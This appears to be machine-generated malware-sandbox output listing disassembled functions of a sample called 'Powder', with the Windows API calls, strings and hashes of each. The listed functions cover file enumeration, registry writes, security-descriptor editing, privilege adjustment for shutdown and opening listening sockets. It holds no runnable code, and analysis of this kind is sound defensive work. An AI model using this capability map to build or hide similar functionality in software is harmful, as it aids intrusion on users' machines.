_wcscmp.LIBCMT ref: 00E6F60E
_wcscmp.LIBCMT ref: 00E6F625
GetFileAttributesW.KERNEL32(?), ref: 00E6F637
SetFileAttributesW.KERNEL32(?,?), ref: 00E6F651
FindNextFileW.KERNEL32(00000000,?), ref: 00E6F669
FindClose.KERNEL32(00000000), ref: 00E6F674
FindFirstFileW.KERNEL32(*.*,?), ref: 00E6F690
_wcscmp.LIBCMT ref: 00E6F6B7
_wcscmp.LIBCMT ref: 00E6F6CE
SetCurrentDirectoryW.KERNEL32(?), ref: 00E6F6E0
SetCurrentDirectoryW.KERNEL32(00EBB578), ref: 00E6F6FE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00E6F708
FindClose.KERNEL32(00000000), ref: 00E6F715
FindClose.KERNEL32(00000000), ref: 00E6F727

Strings

S, xrefs: 00E6F6E2
*.*, xrefs: 00E6F68B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*$S
API String ID: 1803514871-3360721001
Opcode ID: 673be34066fe21f04dc142a9d4f19e33eef468e8f9fe21ee49a7bdd7276df5db
Instruction ID: 21d8a2b5d54f55c32dab653b115d4c5fdbeab35b37616b7d06e94844409b2061
Opcode Fuzzy Hash: 673be34066fe21f04dc142a9d4f19e33eef468e8f9fe21ee49a7bdd7276df5db
Instruction Fuzzy Hash: 4B31D2726812196EDF20DFB5FC4DADE77ACAF09365F101167E804F20A0DB70DA44CA60

Function 00E6CD9F Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00E6CDD0
FindClose.KERNEL32(00000000), ref: 00E6CE24
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00E6CE49
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00E6CE60
FileTimeToSystemTime.KERNEL32(?,?), ref: 00E6CE87
__swprintf.LIBCMT ref: 00E6CED3
__swprintf.LIBCMT ref: 00E6CF16

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

__swprintf.LIBCMT ref: 00E6CF6A

Part of subcall function 00E238C8: __woutput_l.LIBCMT ref: 00E23921

__swprintf.LIBCMT ref: 00E6CFB8

Part of subcall function 00E238C8: __flsbuf.LIBCMT ref: 00E23943
Part of subcall function 00E238C8: __flsbuf.LIBCMT ref: 00E2395B

__swprintf.LIBCMT ref: 00E6D007
__swprintf.LIBCMT ref: 00E6D056
__swprintf.LIBCMT ref: 00E6D0A5

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00E6CECD
%02d, xrefs: 00E6CF5E, 00E6CF68, 00E6CFB6, 00E6D005, 00E6D054, 00E6D0A3
%4d, xrefs: 00E6CF10

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: fcc5afa6f425d64b65fd195b06895a6231c4a79be015a6573e8f388b32a4037a
Instruction ID: 0a70a21ccd953afd9d07914d0f94c72e543965b1f895c3832fed634fd4e31192
Opcode Fuzzy Hash: fcc5afa6f425d64b65fd195b06895a6231c4a79be015a6573e8f388b32a4037a
Instruction Fuzzy Hash: F3A14CF1404305ABC714EFA4D985DAFB7ECEF94704F40191AF685A61D1EB34EA48CB62

Function 00E80EB7 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E80FB3
RegCreateKeyExW.ADVAPI32(?,?,00000000,00E90980,00000000,?,00000000,?,?), ref: 00E81021
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00E81069
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00E810F2
RegCloseKey.ADVAPI32(?), ref: 00E81412
RegCloseKey.ADVAPI32(00000000), ref: 00E8141F

Strings

REG_BINARY, xrefs: 00E813AD
REG_EXPAND_SZ, xrefs: 00E8108F
REG_SZ, xrefs: 00E81130
REG_QWORD, xrefs: 00E81360
REG_MULTI_SZ, xrefs: 00E811DA
REG_DWORD, xrefs: 00E812E3

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 8b50532058bb654173715bce4339a23f098e381fc496b72db05dd5fa60b520ea
Instruction ID: 5b6a32f815f6a7bd9442c5d4de663542fc2f939c270e6596609b27f2e365df07
Opcode Fuzzy Hash: 8b50532058bb654173715bce4339a23f098e381fc496b72db05dd5fa60b520ea
Instruction Fuzzy Hash: 23029EB12006119FCB14EF25C941E6AB7E5FF88714F04995DF99AAB3A2CB30EC45CB91

Function 00E6F735 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00E6F756
_wcscmp.LIBCMT ref: 00E6F76B
_wcscmp.LIBCMT ref: 00E6F782

Part of subcall function 00E64875: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00E64890

FindNextFileW.KERNEL32(00000000,?), ref: 00E6F7B1
FindClose.KERNEL32(00000000), ref: 00E6F7BC
FindFirstFileW.KERNEL32(*.*,?), ref: 00E6F7D8
_wcscmp.LIBCMT ref: 00E6F7FF
_wcscmp.LIBCMT ref: 00E6F816
SetCurrentDirectoryW.KERNEL32(?), ref: 00E6F828
SetCurrentDirectoryW.KERNEL32(00EBB578), ref: 00E6F846
FindNextFileW.KERNEL32(00000000,00000010), ref: 00E6F850
FindClose.KERNEL32(00000000), ref: 00E6F85D
FindClose.KERNEL32(00000000), ref: 00E6F86F

Strings

j, xrefs: 00E6F82A
*.*, xrefs: 00E6F7D3

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*$j
API String ID: 1824444939-4121651432
Opcode ID: e29b87d1dfdc04f21f166ae93d4a801fef67d4c4201aff6f6e4ccc961d08a373
Instruction ID: b1332bcd73287d350e1873f8ff6850e876acfaa673a33934d2ee0a016b725f4e
Opcode Fuzzy Hash: e29b87d1dfdc04f21f166ae93d4a801fef67d4c4201aff6f6e4ccc961d08a373
Instruction Fuzzy Hash: 3431F6725812196EDF249BB5FC48ADF77BC9F49365F1011A7F804B31A1DB30DE458A60

Function 00E588CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E58E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00E58E3C
Part of subcall function 00E58E20: GetLastError.KERNEL32(?,00E58900,?,?,?), ref: 00E58E46
Part of subcall function 00E58E20: GetProcessHeap.KERNEL32(00000008,?,?,00E58900,?,?,?), ref: 00E58E55
Part of subcall function 00E58E20: HeapAlloc.KERNEL32(00000000,?,00E58900,?,?,?), ref: 00E58E5C
Part of subcall function 00E58E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00E58E73

Part of subcall function 00E58EBD: GetProcessHeap.KERNEL32(00000008,00E58916,00000000,00000000,?,00E58916,?), ref: 00E58EC9
Part of subcall function 00E58EBD: HeapAlloc.KERNEL32(00000000,?,00E58916,?), ref: 00E58ED0
Part of subcall function 00E58EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00E58916,?), ref: 00E58EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00E58931
_memset.LIBCMT ref: 00E58946
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00E58965
GetLengthSid.ADVAPI32(?), ref: 00E58976
GetAce.ADVAPI32(?,00000000,?), ref: 00E589B3
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00E589CF
GetLengthSid.ADVAPI32(?), ref: 00E589EC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00E589FB
HeapAlloc.KERNEL32(00000000), ref: 00E58A02
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00E58A23
CopySid.ADVAPI32(00000000), ref: 00E58A2A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00E58A5B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00E58A81
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00E58A95

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 009954d7c4565977d967919659103d8248e89a072107684007191e0a60a4c09c
Instruction ID: dd7d560ac2d165fd6c26bc0efb8bbf71644249dbf180ff8621cb46f9949dffef
Opcode Fuzzy Hash: 009954d7c4565977d967919659103d8248e89a072107684007191e0a60a4c09c
Instruction Fuzzy Hash: DD616971900209BFDF01DFA1DD45EEEBBB9FF44305F44892AE815B6291DB359A08CB60

Function 00E80A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E8147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E8040D,?,?), ref: 00E81491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E80B0C

Part of subcall function 00E04D37: __itow.LIBCMT ref: 00E04D62
Part of subcall function 00E04D37: __swprintf.LIBCMT ref: 00E04DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00E80BAB
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00E80C43
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00E80E82
RegCloseKey.ADVAPI32(00000000), ref: 00E80E8F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 8f50f564d8e84b44cc6facb4bf6fea656b26ea1be4742d50a7019d98dc9cea42
Instruction ID: 9a2e5022cbef95328fc6ab27d87fe61b7469df2ff693cabd4bb18bc5ee4621b8
Opcode Fuzzy Hash: 8f50f564d8e84b44cc6facb4bf6fea656b26ea1be4742d50a7019d98dc9cea42
Instruction Fuzzy Hash: 8DE16D71204210AFCB54EF29C991E6BBBE4EF89314F04996DF84DEB2A1DA30ED45CB51

Function 00E6443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00E64451
__swprintf.LIBCMT ref: 00E6445E

Part of subcall function 00E238C8: __woutput_l.LIBCMT ref: 00E23921

FindResourceW.KERNEL32(?,?,0000000E), ref: 00E64488
LoadResource.KERNEL32(?,00000000), ref: 00E64494
LockResource.KERNEL32(00000000), ref: 00E644A1
FindResourceW.KERNEL32(?,?,00000003), ref: 00E644C1
LoadResource.KERNEL32(?,00000000), ref: 00E644D3
SizeofResource.KERNEL32(?,00000000), ref: 00E644E2
LockResource.KERNEL32(?), ref: 00E644EE
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00E6454F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 3d03f8897982355dd0b2d68f68a678808c96f7689f76219faca6090abcc03167
Instruction ID: 697123fc23622dec54e4aafaec0aeb4ef2c56595c8ac76cab19164460693cc75
Opcode Fuzzy Hash: 3d03f8897982355dd0b2d68f68a678808c96f7689f76219faca6090abcc03167
Instruction Fuzzy Hash: C531CFB154121AAFCB119F61ED48EBF7BA9EF04384F404426F912F6191EB74DA21CBA0

Function 00E74830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00E74857
EmptyClipboard.USER32 ref: 00E7485D
GlobalAlloc.KERNEL32(00000002,?), ref: 00E74872
CloseClipboard.USER32 ref: 00E74911

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: d895ba46ced9a540df0c8a4b1bf0efb83464729f4386f15f87fac8f68c647e76
Instruction ID: 2485d94a2fe415e0291ff52a4378aefc46909578d4bc3c9398281e4522ee7a67
Opcode Fuzzy Hash: d895ba46ced9a540df0c8a4b1bf0efb83464729f4386f15f87fac8f68c647e76
Instruction Fuzzy Hash: AA21A3B12012119FEB05AF21ED09F6E77A8EF44721F00801AFA49BB2E2CB30AD15CB55

Function 00E6FA36 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00E6FA83
FindClose.KERNEL32(00000000), ref: 00E6FB96

Part of subcall function 00E052B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E052E6

Sleep.KERNEL32(0000000A), ref: 00E6FAB3
_wcscmp.LIBCMT ref: 00E6FAC7
_wcscmp.LIBCMT ref: 00E6FAE2
FindNextFileW.KERNEL32(?,?), ref: 00E6FB80

Strings

*.*, xrefs: 00E6FA68

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: 1c433c11c55823ac2b375f2bb5aa2d5fdc9c1e3dd6b4404cf088a0618cc0e927
Instruction ID: 4cc7b295d4773b1090a8bb92c28fb2aed8ce87f0e7a8395cfb9c4df60c36a75c
Opcode Fuzzy Hash: 1c433c11c55823ac2b375f2bb5aa2d5fdc9c1e3dd6b4404cf088a0618cc0e927
Instruction Fuzzy Hash: 5B41817194021A9FDF14DFA4EC59AEEBBB4FF05394F145166E814B22A1EB309E84CF90

Function 00E65778 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00E593E3
Part of subcall function 00E59399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00E59410
Part of subcall function 00E59399: GetLastError.KERNEL32 ref: 00E5941D

ExitWindowsEx.USER32(?,00000000), ref: 00E657B4

Strings

SeShutdownPrivilege, xrefs: 00E65784
, xrefs: 00E657A2
@, xrefs: 00E657A7

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 7e02972c419b72f885197a1f92a6471ed9faaa43fbc3fdbb0b22fd1bf0f8c2f4
Instruction ID: 5b8ab83780cfe4e7e0e4d6baa5d0260c5e6e35f9f7606f8305b64b1cbd01682b
Opcode Fuzzy Hash: 7e02972c419b72f885197a1f92a6471ed9faaa43fbc3fdbb0b22fd1bf0f8c2f4
Instruction Fuzzy Hash: 6001F7337D0712EEE72866A5BC8ABFB7298AB047C5F202527FC63F20D2E9507C048554

Function 00E7696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00E769C7
WSAGetLastError.WSOCK32(00000000), ref: 00E769D6
bind.WSOCK32(00000000,?,00000010), ref: 00E769F2
listen.WSOCK32(00000000,00000005), ref: 00E76A01
WSAGetLastError.WSOCK32(00000000), ref: 00E76A1B
closesocket.WSOCK32(00000000,00000000), ref: 00E76A2F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 4af5a31dbdd65de2de93cfc4085c4e9485b85c02b31ad48dd4882f219087802f
Instruction ID: a0cb9cdff895ad874f99730af23f8a37f20bf873b54ea326e4b3cc8f647990d4
Opcode Fuzzy Hash: 4af5a31dbdd65de2de93cfc4085c4e9485b85c02b31ad48dd4882f219087802f
Instruction Fuzzy Hash: 8921EE71200A019FCB10EF68C989A6EB7F9EF44728F10955AE95AB73D1CB30AC45CB90

Function 00E01663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00E029E2: GetWindowLongW.USER32(?,000000EB), ref: 00E029F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 00E01DD6
GetSysColor.USER32(0000000F), ref: 00E01E2A
SetBkColor.GDI32(?,00000000), ref: 00E01E3D

Part of subcall function 00E0166C: DefDlgProcW.USER32(?,00000020,?), ref: 00E016B4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: c4f873f1f098510b80efa60a09e651f6ff060df0f3458d2e693a49bdf65ca8e3
Instruction ID: b73f80c381e3d77fda8af3e95f8f59f08d630ca861848f123880bb6d67449f8f
Opcode Fuzzy Hash: c4f873f1f098510b80efa60a09e651f6ff060df0f3458d2e693a49bdf65ca8e3
Instruction Fuzzy Hash: 19A12570109504BEE628BB6A8C49EBB39DDDF4230AF24315AF546FE1D5CB219D82C275

Function 00E6C2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00E6C329
_wcscmp.LIBCMT ref: 00E6C359
_wcscmp.LIBCMT ref: 00E6C36E
FindNextFileW.KERNEL32(00000000,?), ref: 00E6C37F
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00E6C3AF

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 49701584d5b83fb52a999d02a58c03bad32a5e98b1e47e8ffec624e0a2ce8dfa
Instruction ID: f7df451dbae3d6e89f3d07f66bd313a29f1d4d6c9a736a412b448200c4eb2618
Opcode Fuzzy Hash: 49701584d5b83fb52a999d02a58c03bad32a5e98b1e47e8ffec624e0a2ce8dfa
Instruction Fuzzy Hash: 2051CD756406028FD714DF28E490EAAB3E4FF49314F20565EE9AAE73A1CB30ED04CB91

Function 00E76E32 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00E78475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00E784A0

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00E76E89
WSAGetLastError.WSOCK32(00000000), ref: 00E76EB2
bind.WSOCK32(00000000,?,00000010), ref: 00E76EEB
WSAGetLastError.WSOCK32(00000000), ref: 00E76EF8
closesocket.WSOCK32(00000000,00000000), ref: 00E76F0C

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 67940e72f32364efba97fdaa6a33cc29d3dd9e85127bd06a33c0a0322374bc40
Instruction ID: ab70e5e89896106891d9be93a0d545b9cbce389d17dce537f38de1c50a9e647a
Opcode Fuzzy Hash: 67940e72f32364efba97fdaa6a33cc29d3dd9e85127bd06a33c0a0322374bc40
Instruction Fuzzy Hash: 3041DEF5700600AFDB10AF64D986F6E73E8DB04714F049459FA4ABB3D2DA709D408BA1

